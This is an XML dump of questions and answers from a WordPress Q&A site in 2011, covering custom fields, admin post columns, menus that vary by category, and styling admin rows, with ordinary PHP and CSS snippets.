  <row Id="19162" PostTypeId="1" CreationDate="2011-06-03T16:35:48.150" Score="0" ViewCount="46" Body="&lt;p&gt;I want to know if there is a way that 2 different custom fields that have basicly the same value function to be combined.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) meta_name: my_link and meta_value: a link&#xA;2) meta_name: other_link and meta_value: other link&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It should work like this:&#xA;The general call in my template is&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if ( get_post_meta($post-&amp;gt;ID, 'my_link', true) ) : ?&amp;gt;&#xA;&#xA;&amp;lt;?php echo $my_link; ?&amp;gt;&#xA;&#xA;&amp;lt;?php endif; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So if in the post is present meta_name: other_link and not my_link and in the template is queried my_link, I want the other_link meta_name to be recognized as meta_name: my_link.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I searched all over.&#xA;Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="5910" LastActivityDate="2011-06-03T18:33:45.670" Title="Is there a way combine posts meta_name?" Tags="&lt;post-meta&gt;" AnswerCount="2" />
  <row Id="19163" PostTypeId="2" ParentId="19161" CreationDate="2011-06-03T16:39:28.307" Score="1" ViewCount="" Body="&lt;p&gt;&lt;code&gt;posts_per_page&lt;/code&gt; should be set once the at settings reading panel, and acts as a general option unless defined else using &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/query_posts&quot; rel=&quot;nofollow&quot;&gt;query_posts()&lt;/a&gt; for example if you want your homepage to display only one then the place this code above your loop:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (is_home()){ // conditional check for homepage&#xA;    global $query_string;&#xA;    parse_str( $query_string, $args );&#xA;    $args['posts_per_page'] = 1;&#xA;    query_posts( $args );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2487" LastEditorUserId="2487" LastEditorDisplayName="" LastEditDate="2011-06-03T19:28:05.740" LastActivityDate="2011-06-03T19:28:05.740" CommentCount="4" />
  <row Id="19164" PostTypeId="2" ParentId="19162" CreationDate="2011-06-03T16:49:38.747" Score="1" ViewCount="" Body="&lt;p&gt;you can use the same meta_key for multiple values, for example:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;meta_key&lt;/strong&gt; - 'links' &lt;strong&gt;meta_value&lt;/strong&gt; - 'link1'&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;meta_key&lt;/strong&gt; - 'links' &lt;strong&gt;meta_value&lt;/strong&gt; - 'link2'&lt;/p&gt;&#xA;&#xA;&lt;p&gt;then you can get the meta as an array of links:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$links = get_post_meta($post-&amp;gt;ID, 'links');&#xA;if ($links){&#xA;    foreach ($links as $link){&#xA;        echo $link;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-06-03T16:49:38.747" CommentCount="3" />
  <row Id="19165" PostTypeId="2" ParentId="19141" CreationDate="2011-06-03T16:58:07.167" Score="0" ViewCount="" Body="&lt;p&gt;You can install &lt;a href=&quot;http://disqus.com&quot; rel=&quot;nofollow&quot;&gt;Disqus&lt;/a&gt; for your comment system and it has a built in like button similar to that.&lt;/p&gt;&#xA;" OwnerUserId="2832" LastActivityDate="2011-06-03T16:58:07.167" />
  <row Id="19166" PostTypeId="2" ParentId="13859" CreationDate="2011-06-03T17:13:53.197" Score="0" ViewCount="" Body="&lt;p&gt;You can also take a look at this great tutorial/document by Kirsty Burgoine with some good explanation on how to do this with custom post types.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://sixrevisions.com/wordpress/custom-fields-search/&quot; rel=&quot;nofollow&quot;&gt;http://sixrevisions.com/wordpress/custom-fields-search/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2048" LastActivityDate="2011-06-03T17:13:53.197" />
  <row Id="19167" PostTypeId="2" ParentId="18459" CreationDate="2011-06-03T17:16:42.417" Score="4" ViewCount="" Body="&lt;h2&gt;Network Terminator&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Type:&lt;/strong&gt;  Admin, Multisite&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Description:&lt;/strong&gt;  Alows to &lt;strong&gt;bulk add terms across network&lt;/strong&gt;. You can select what sites will be affected. Works with custom taxonomies. Works from any site in the network.&lt;br&gt;&#xA;&lt;em&gt;version 0.0.1 = Use with care. Any feedback is much appreciated!&lt;/em&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Screenshots:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Before:&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/u4JOX.png&quot; alt=&quot;Network Terminator - Before&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;After:&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/4hYD6.png&quot; alt=&quot;Network Terminator - After&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Download link:&lt;/strong&gt;&lt;br&gt;&#xA;&lt;a href=&quot;https://github.com/maugly/Network-Terminator&quot; rel=&quot;nofollow&quot;&gt;https://github.com/maugly/Network-Terminator&lt;/a&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Related Question / Inspired by:&lt;/strong&gt;&#xA;&lt;a href=&quot;http://wordpress.stackexchange.com/questions/18050/wordpress-can-i-add-categories-tags-to-all-sites-in-my-network-at-once&quot;&gt;Wordpress: Can I add categories/tags to all sites in my network at once?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2110" LastEditorUserId="2110" LastEditorDisplayName="" LastEditDate="2011-06-03T18:22:20.670" LastActivityDate="2011-06-03T18:22:20.670" CommunityOwnedDate="2011-06-03T17:16:42.417" CommentCount="0" />
  <row Id="19168" PostTypeId="1" CreationDate="2011-06-03T17:31:05.523" Score="0" ViewCount="87" Body="&lt;p&gt;Let's say I have one custom taxonomy called &quot;movies&quot; and another called &quot;actors&quot;. How to I link those two taxonomies so as to be able to determine which actors play in such and such movie, or which movie does such and such actors plays in ? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;(I don't want to use custom post types, only taxonomies)&lt;/p&gt;&#xA;" OwnerUserId="5915" LastActivityDate="2011-06-04T13:10:19.143" Title="Linking 2 custom taxonomies" Tags="&lt;custom-taxonomy&gt;" AnswerCount="0" CommentCount="9" />
  <row Id="19169" PostTypeId="1" AcceptedAnswerId="19174" CreationDate="2011-06-03T18:10:42.793" Score="0" ViewCount="115" Body="&lt;p&gt;I have a client who has the categories listed in the right-hand sidebar. He came to me today requesting a different &quot;navigation&quot; in the header for each category.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So basically, if you click on Category 1, the navigation changes to a set of pages (that he has set) and so on. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this even possible? I already have the built in menu feature activated, but I am really at a loss for this one.&lt;/p&gt;&#xA;" OwnerUserId="807" LastEditorUserId="807" LastEditorDisplayName="" LastEditDate="2011-06-03T18:24:31.410" LastActivityDate="2011-06-03T18:52:19.187" Title="Different Main Navigation per category" Tags="&lt;query&gt;&lt;navigation&gt;" AnswerCount="2" />
  <row Id="19170" PostTypeId="2" ParentId="19141" CreationDate="2011-06-03T18:13:49.133" Score="1" ViewCount="" Body="&lt;p&gt;Check this plugin out...&#xA;&lt;a href=&quot;http://wordpress.org/extend/plugins/gd-star-rating/screenshots/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/gd-star-rating/screenshots/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;Plugin allows you to set up advanced rating and review system for post types and comments in your blog using single, multi and thumbs ratings.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've used it for other sites in the 5 star rating mode but I haven't try the single star/like mode.&lt;/p&gt;&#xA;" OwnerUserId="3290" LastActivityDate="2011-06-03T18:13:49.133" />
  <row Id="19171" PostTypeId="2" ParentId="19162" CreationDate="2011-06-03T18:33:45.670" Score="0" ViewCount="" Body="&lt;p&gt;Why don't you retrieve both values and then decide which to use? As (messy) one liner it can be expressed like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if(&#xA;    ( $my_link = get_post_meta($post-&amp;gt;ID, 'my_link', true) )&#xA;    ||&#xA;    ( $my_link = get_post_meta($post-&amp;gt;ID, 'other_link', true) )&#xA;    )&#xA;    echo $my_link;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-06-03T18:33:45.670" CommentCount="1" />
  <row Id="19172" PostTypeId="2" ParentId="19161" CreationDate="2011-06-03T18:46:08.567" Score="1" ViewCount="" Body="&lt;p&gt;Alternate approach (if you want/need to keep this in functions.php and go via hooks instead of modifying template) would be something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action( 'pre_get_posts', 'pre_get_posts_home' );&#xA;&#xA;function pre_get_posts_home( $query ) {&#xA;&#xA;    global $wp_query;&#xA;&#xA;    if( $wp_query == $query &amp;amp;&amp;amp; $query-&amp;gt;is_home )&#xA;        $query-&amp;gt;set( 'posts_per_page', 1 );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="847" LastEditorUserId="847" LastEditorDisplayName="" LastEditDate="2011-06-04T09:22:44.173" LastActivityDate="2011-06-04T09:22:44.173" CommentCount="3" />
  <row Id="19173" PostTypeId="1" AcceptedAnswerId="19176" CreationDate="2011-06-03T18:49:25.657" Score="0" ViewCount="39" Body="&lt;p&gt;This seems like a simple thing to do, but I haven't been able to figure it out. What I'd like to do is add the time a post is scheduled to the date stamp on the list of posts. I know this means modifying the columns, and there's a way to do it that seems fairly simple. Has anyone done this, and can you suggest some code?&lt;/p&gt;&#xA;" OwnerUserId="5913" LastActivityDate="2011-06-03T19:11:16.963" Title="How to add the time of a post to the list of posts on the administration page?" Tags="&lt;posts&gt;&lt;admin&gt;" AnswerCount="1" />
  <row Id="19174" PostTypeId="2" ParentId="19169" CreationDate="2011-06-03T18:51:55.693" Score="1" ViewCount="" Body="&lt;p&gt;You could set this in your theme using conditionals. Create a separate menu for each category using the WordPress menu feature (Appearances &gt; Menus). Then in your theme, where you want the menu to display, determine which menu to display using the is_category('category-slug') and/or in_category('category-slug') conditionals and the wp_nav_menu function (http://codex.wordpress.org/Function_Reference/wp_nav_menu). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For instance:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;if(is_category('first-category') || in_category('first-category)) { &#xA;     wp_nav_menu( array('menu' =&amp;gt; 'First Category Nav' )); &#xA;} else {&#xA;     wp_nav_menu( array('menu' =&amp;gt; 'Default Nav' ));&#xA;}&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That said, from a user-experience standpoint I'd recommend against switching out the main menu on a section-by-section basis. That will be very confusing for visitors. I'd recommend an additional category-specific menu instead, with consistent main navigation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps!&lt;/p&gt;&#xA;" OwnerUserId="16" LastActivityDate="2011-06-03T18:51:55.693" />
  <row Id="19175" PostTypeId="2" ParentId="19169" CreationDate="2011-06-03T18:52:19.187" Score="0" ViewCount="" Body="&lt;p&gt;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_nav_menu&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;wp_nav-menu()&lt;/code&gt;&lt;/a&gt; allows you to call menus in different ways, by slug for example.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just create multiple menu and add conditional logic so one of alternate menus is called if on category page.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-06-03T18:52:19.187" />
  <row Id="19176" PostTypeId="2" ParentId="19173" CreationDate="2011-06-03T19:11:16.963" Score="2" ViewCount="" Body="&lt;p&gt;Try this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter('manage_posts_columns', 'posts_columns', 5);&#xA;add_action('manage_posts_custom_column', 'posts_custom_columns', 5, 2);&#xA;function posts_columns($defaults){&#xA;    $defaults['your_date_col'] = __('Date');&#xA;    return $defaults;&#xA;}&#xA;function posts_custom_columns($column_name, $id){&#xA;    if($column_name === 'your_date_col'){&#xA;        echo the_date();&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5223" LastActivityDate="2011-06-03T19:11:16.963" CommentCount="1" />
  <row Id="19177" PostTypeId="2" ParentId="19084" CreationDate="2011-06-03T19:15:19.350" Score="0" ViewCount="" Body="&lt;p&gt;I did figure this out. Though there may be a cleaner way to do it. I don't know.. Here is my new functions.php file...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php /* If the author is myclient, use class 'author' otherwise, use class 'comment byuser' */&#xA;   if ($comment-&amp;gt;comment_author_email == &quot;admin@adminemail.com&quot;)&#xA;   echo '&amp;lt;li class=&quot;author&quot;&amp;gt;';&#xA;   else&#xA;   echo '&amp;lt;li class=&quot;comment byuser&quot;&amp;gt;';&#xA;   /* I had to make this li class static because I don't know how &#xA;      to inject PHP in an echo that's in an if/else statement. &#xA;      echo 'stuff here' . php here . 'more stuff'; did not work. &#xA;    */&#xA;   ?&amp;gt;&#xA;&#xA;        &amp;lt;div id=&quot;comment-&amp;lt;?php comment_ID(); ?&amp;gt;&quot;&amp;gt;&#xA;        &amp;lt;div class=&quot;comment-author vcard&quot;&amp;gt;&#xA;&#xA;            &amp;lt;?php /* get user avatar only if the author is NOT myClient */&#xA;            if ($comment-&amp;gt;comment_author_email !== &quot;admin@adminemail.com&quot;)&#xA;            echo get_avatar( $comment, 40 ); &#xA;            ?&amp;gt; &#xA;&#xA;            &amp;lt;?php if  /* if the user is myClient, append &quot;myClient answers&quot; instead of the author link. Otherwise, proceed as normal. */&#xA;            ($comment-&amp;gt;comment_author_email == &quot;admin@adminemail.com&quot;)&#xA;&#xA;             printf( __( '&amp;lt;b&amp;gt;myClient Answers:&amp;lt;/b&amp;gt;', 'twentyten' ), sprintf( '&amp;lt;cite class=&quot;fn&quot;&amp;gt;%s&amp;lt;/cite&amp;gt;', get_comment_author_link() ) );           &#xA;            else&#xA;&#xA;             printf( __( '%s &amp;lt;span class=&quot;says&quot;&amp;gt;replies:&amp;lt;/span&amp;gt;', 'twentyten' ), sprintf( '&amp;lt;cite class=&quot;fn&quot;&amp;gt;%s&amp;lt;/cite&amp;gt;', get_comment_author_link() ) ); &#xA;             ?&amp;gt;&#xA;&#xA;&#xA;        &amp;lt;/div&amp;gt;&amp;lt;!-- .comment-author .vcard --&amp;gt;&#xA;        &amp;lt;?php if ( $comment-&amp;gt;comment_approved == '0' ) : ?&amp;gt;&#xA;            &amp;lt;em class=&quot;comment-awaiting-moderation&quot;&amp;gt;&amp;lt;?php _e( 'Your comment is awaiting moderation.', 'twentyten' ); ?&amp;gt;&amp;lt;/em&amp;gt;&#xA;            &amp;lt;br /&amp;gt;&#xA;        &amp;lt;?php endif; ?&amp;gt;&#xA;&#xA;        &amp;lt;div class=&quot;comment-meta commentmetadata&quot;&amp;gt;&amp;lt;a href=&quot;&amp;lt;?php echo esc_url( get_comment_link( $comment-&amp;gt;comment_ID ) ); ?&amp;gt;&quot;&amp;gt;&#xA;            &amp;lt;?php&#xA;                /* translators: 1: date, 2: time */&#xA;                printf( __( '%1$s at %2$s', 'twentyten' ), get_comment_date(),  get_comment_time() ); ?&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;?php edit_comment_link( __( '(Edit)', 'twentyten' ), ' ' );&#xA;            ?&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&amp;lt;!-- .comment-meta .commentmetadata --&amp;gt;&#xA;&#xA;        &amp;lt;div class=&quot;comment-body&quot;&amp;gt;&amp;lt;?php comment_text(); ?&amp;gt;&amp;lt;/div&amp;gt;&#xA;        &amp;lt;div class=&quot;reply&quot;&amp;gt;&#xA;            &amp;lt;?php comment_reply_link( array_merge( $args, array( 'depth' =&amp;gt; $depth, 'max_depth' =&amp;gt; $args['max_depth'] ) ) ); ?&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&amp;lt;!-- .reply --&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&amp;lt;!-- #comment-##  --&amp;gt;&#xA;    &amp;lt;/li&amp;gt; &#xA;   &amp;lt;?php if /* if the comment is by myClient, append this div after it. */($comment-&amp;gt;comment_author_email == &quot;admin@adminemail.com&quot;)&#xA;   echo '&amp;lt;div id=&quot;commentdivider&quot;&amp;gt;&amp;lt;/div&amp;gt;';&#xA;   echo '&amp;lt;br&amp;gt;';&#xA;   ?&amp;gt;&#xA;    &amp;lt;?php&#xA;            break;&#xA;        case 'pingback'  :&#xA;        case 'trackback' :&#xA;    ?&amp;gt;&#xA;    &amp;lt;li class=&quot;post pingback&quot;&amp;gt;&#xA;        &amp;lt;p&amp;gt;&amp;lt;?php _e( 'Pingback:', 'twentyten' ); ?&amp;gt; &amp;lt;?php comment_author_link(); ?&amp;gt;&amp;lt;?php edit_comment_link( __( '(Edit)', 'twentyten' ), ' ' ); ?&amp;gt;&amp;lt;/p&amp;gt;&#xA;&amp;lt;/li&amp;gt;&#xA;    &amp;lt;?php&#xA;            break;&#xA;    endswitch;&#xA;}&#xA;endif;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;then you just style the class you assigned to the admin comments, like so.... &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.author {&#xA;line-height: 24px;&#xA;padding: 20px;&#xA;position: relative;&#xA;background-color: #EDEFF4;&#xA;margin-bottom: 25px;&#xA;} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can do some tweaking of the other comments as well to make them look nice. I just changed the margin and padding a bit. Here is a screenshot of the finished product:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/bQX78.png&quot; alt=&quot;screenshot of the comments page&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I just took &quot;x responses to post-title&quot; out of the equation completely.&lt;/p&gt;&#xA;" OwnerUserId="2479" LastActivityDate="2011-06-03T19:15:19.350" />
  <row Id="19178" PostTypeId="2" ParentId="19044" CreationDate="2011-06-03T19:22:01.333" Score="0" ViewCount="" Body="&lt;p&gt;It seems that one way is to simply manually upload the wp-admin and wp-includes directories, as the &lt;a href=&quot;http://codex.wordpress.org/Updating_WordPress#Step_1%3a_Replace_WordPress_files&quot; rel=&quot;nofollow&quot;&gt;normal upgrade instructions&lt;/a&gt; state. I did this, and it worked. I'm still curious if there's a better way, to avoid any database issues.&lt;/p&gt;&#xA;" OwnerUserId="49" LastActivityDate="2011-06-03T19:22:01.333" />
  <row Id="19180" PostTypeId="1" AcceptedAnswerId="19182" CreationDate="2011-06-03T19:41:30.367" Score="1" ViewCount="111" Body="&lt;p&gt;In a previous question I asked how to add a column to the Posts page in the Administration section, and got a working answer. But now I need to know how to delete an existing column (e.g. the Date column) so that my customized Date column replaces it.&lt;/p&gt;&#xA;" OwnerUserId="5913" LastActivityDate="2011-06-05T10:39:31.090" Title="How to remove a column from the Posts page" Tags="&lt;posts&gt;&lt;admin&gt;" AnswerCount="2" />
  <row Id="19181" PostTypeId="1" CreationDate="2011-06-03T19:52:25.423" Score="0" ViewCount="67" Body="&lt;p&gt;Interesting challenge. I was given a piece of code earlier, which I have modified as follows for the Posts page.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/* add time stamp */&#xA;add_filter('manage_posts_columns', 'posts_columns', 5);&#xA;function posts_columns($defaults){&#xA;    $defaults['your_date_col'] = __('Date');&#xA;    $defaults['week_number'] = __('Wk#');&#xA;    $defaults['week_in_quarter'] = __('Wk/Qtr');&#xA;    return $defaults;&#xA;}&#xA;add_action('manage_posts_custom_column', 'posts_custom_columns', 5, 2);&#xA;function posts_custom_columns($column_name, $id){&#xA;    if($column_name === 'your_date_col'){&#xA;    echo the_date('d M'),' ',the_time('Ha');&#xA;    }&#xA;    if($column_name === 'week_number'){&#xA;    echo 'Here: ',the_date();&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Strangely, although the date format that I have given shows up in the first column (&quot;your_date_col&quot;), only &quot;Here: &quot; shows up in the second column (&quot;week_number&quot;). Any suggestions as to why the_date function doesn't work in the second column?&lt;/p&gt;&#xA;" OwnerUserId="5913" LastActivityDate="2011-09-02T04:39:43.343" Title="Why does the_date work in the first custom column, but not in the second, in a series of customized Posts columns?" Tags="&lt;posts&gt;&lt;admin&gt;" AnswerCount="2" CommentCount="3" />
  <row Id="19182" PostTypeId="2" ParentId="19180" CreationDate="2011-06-03T20:00:48.143" Score="3" ViewCount="" Body="&lt;pre&gt;&lt;code&gt;function my_manage_columns( $columns ) {&#xA;  unset($columns['date']);&#xA;  return $columns;&#xA;}&#xA;&#xA;function my_column_init() {&#xA;  add_filter( 'manage_posts_columns' , 'my_manage_columns' );&#xA;}&#xA;add_action( 'admin_init' , 'my_column_init' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4771" LastActivityDate="2011-06-03T20:00:48.143" />
  <row Id="19183" PostTypeId="2" ParentId="19044" CreationDate="2011-06-03T20:45:24.507" Score="1" ViewCount="" Body="&lt;p&gt;Normally you would just upload the files as normal or delete the plugin. I personally dont use the plugin. And as far as db update and changes i dont think there is much change or any change in the db. Also i would not advise using the beta as a live site. It may seem stable but there are always exploits that can be found and since we are about a month out for the official it is best to just wait.&lt;/p&gt;&#xA;" OwnerUserId="4998" LastActivityDate="2011-06-03T20:45:24.507" />
  <row Id="19184" PostTypeId="1" AcceptedAnswerId="19190" CreationDate="2011-06-03T20:59:22.390" Score="1" ViewCount="52" Body="&lt;p&gt;What I'd like to do is have the entire row be a different color - for example, a light blue for draft posts. That way I can visually see at a glance what's a draft, what's scheduled, and what's published on a given time period (I am working on a system for scheduling posts out weeks in advance).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It would seem the logical way to do this is to alter the row color, since there is a CSS class (&quot;status-draft&quot;) for example. However, it appears that altering the row color doesn't work since the individual cells as well have overriding colors.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thoughts?&lt;/p&gt;&#xA;" OwnerUserId="5913" LastActivityDate="2011-06-03T21:44:50.733" Title="Is there a way to change the color of a row in Post Administration based on the type of post?" Tags="&lt;posts&gt;&lt;admin&gt;" AnswerCount="2" />
  <row Id="19186" PostTypeId="1" AcceptedAnswerId="19193" CreationDate="2011-06-03T21:11:52.203" Score="0" ViewCount="57" Body="&lt;p&gt;Has anyone written or can suggest a plugin that would replace the filter-by-month in the Post Administration screen with filter-by-week-number instead? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;e.g. a drop down option for &quot;Week of 05/31-06/06, 2011&quot;&lt;/p&gt;&#xA;" OwnerUserId="5913" LastActivityDate="2011-06-04T20:11:34.900" Title="Filtering posts on Post Administration Page by Week Number instead of by Month" Tags="&lt;posts&gt;&lt;admin&gt;&lt;filters&gt;" AnswerCount="1" />
  <row Id="19188" PostTypeId="2" ParentId="19184" CreationDate="2011-06-03T21:37:01.683" Score="0" ViewCount="" Body="&lt;p&gt;Yes you can add this to your functions.php file on your current theme&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?&#xA;add_action('admin_head', 'post_color_css');&#xA;&#xA;function post_color_css() {&#xA;    //Change the #ccc to what hex color you want&#xA;    print '&#xA;        &amp;lt;style type=&quot;text/css&quot;&amp;gt;&#xA;        #the-list .status-publish {background-color: #ccc}&#xA;        #the-list .status-draft {background-color: #ccc}&#xA;        #the-list .status-pending {background-color: #ccc}&#xA;        &amp;lt;/style&amp;gt;&#xA;        ';&#xA;}&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4998" LastActivityDate="2011-06-03T21:37:01.683" />
  <row Id="19189" PostTypeId="1" CreationDate="2011-06-03T21:42:11.120" Score="0" ViewCount="43" Body="&lt;p&gt;I have a pretty extensive music collection and my friends are always borrowing my stuff. I would like to keep better track of my library so I'm building a sudo-checkout system using WP.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The collection was already in WP using terms to sort everything. The main taxonomies are &lt;em&gt;artist&lt;/em&gt;, &lt;em&gt;year released&lt;/em&gt;, &lt;em&gt;label&lt;/em&gt;, and &lt;em&gt;genre&lt;/em&gt;. I want to add a new taxonomy called &lt;em&gt;whereisit&lt;/em&gt;. The post type used is called &lt;em&gt;album&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Because of the way that other plugins interact with the site (I'm a music geek) I can't easily use post meta for inventory status term. If it matters at the moment I'm using Scribu's plugin to autogenerate taxonomy search fields. &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;em&gt;The question:&lt;/em&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;How can I display a list of terms who's related posts also match another fixed term? &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;For example: Show a list of terms for &lt;em&gt;artists&lt;/em&gt; who's &lt;em&gt;whereisit&lt;/em&gt; term is &lt;em&gt;ihaveit&lt;/em&gt;. If all of the artist's albums have an &lt;em&gt;whereisit&lt;/em&gt; term of &lt;em&gt;idonthaveit&lt;/em&gt;, do not display the &lt;em&gt;artist&lt;/em&gt; term in the list.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or more simply: If all of my albums by a particular artist are loaned out to someone else, don't display the artist's name in the Artist list.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Would something like this have to be done through wpdb? Filtering a loop is easy enough, but translating that to a list is over my head.  :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit:&lt;/strong&gt;&#xA;I replaced the terms &lt;em&gt;inhouse&lt;/em&gt; with &lt;em&gt;ihaveit&lt;/em&gt;, &lt;em&gt;checkedout&lt;/em&gt; with &lt;em&gt;idonthaveit&lt;/em&gt;, and the taxonomy named &lt;em&gt;inventorystatus&lt;/em&gt; with &lt;em&gt;whereisit&lt;/em&gt; for better clarity.&lt;/p&gt;&#xA;" OwnerUserId="1057" LastEditorUserId="1057" LastEditorDisplayName="" LastEditDate="2011-06-05T14:24:26.223" LastActivityDate="2011-08-07T07:20:05.963" Title="How to create a list of terms who's posts also have a predefined external term?" Tags="&lt;filters&gt;&lt;wpdb&gt;&lt;terms&gt;&lt;multi-taxonomy-query&gt;&lt;get-the-term-list&gt;" AnswerCount="1" CommentCount="4" FavoriteCount="1" />
  <row Id="19190" PostTypeId="2" ParentId="19184" CreationDate="2011-06-03T21:44:50.733" Score="2" ViewCount="" Body="&lt;p&gt;you mean something like this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/6W8rE.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;then here you go:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('admin_footer','style_posts_list');&#xA;function style_posts_list(){&#xA;?&amp;gt;&#xA;&amp;lt;style&amp;gt;&#xA;.status-draft{background-color: #008866 !important;}&#xA;.status-pending{background-color: #F53162 !important;}&#xA;.status-publish{background-color: #FFF700 !important;}&#xA;&amp;lt;?php&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-06-03T21:44:50.733" CommentCount="1" />
  <row Id="19191" PostTypeId="1" CreationDate="2011-06-03T21:53:51.130" Score="0" ViewCount="62" Body="&lt;p&gt;I am trying to integrate choice of &lt;strong&gt;layout options&lt;/strong&gt; in my theme similar to what thesis does (2 columns, 4 columns, 1 column)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/x0hbb.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to achieve this with one custom template to reduce confusion (and push the choice to the theme options page).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it also possible to &lt;strong&gt;unregister&lt;/strong&gt; a sidebar so it doesn't show up in the widget page if it will not be used? (i.e. if user selects 1 column layout in theme options)&lt;/p&gt;&#xA;" OwnerUserId="5817" LastEditorUserId="2487" LastEditorDisplayName="" LastEditDate="2011-06-03T22:15:36.177" LastActivityDate="2011-06-03T22:15:36.177" Title="Choice of layouts in my theme options page" Tags="&lt;widgets&gt;&lt;sidebar&gt;&lt;theme-options&gt;&lt;register-sidebar&gt;" CommentCount="3" />
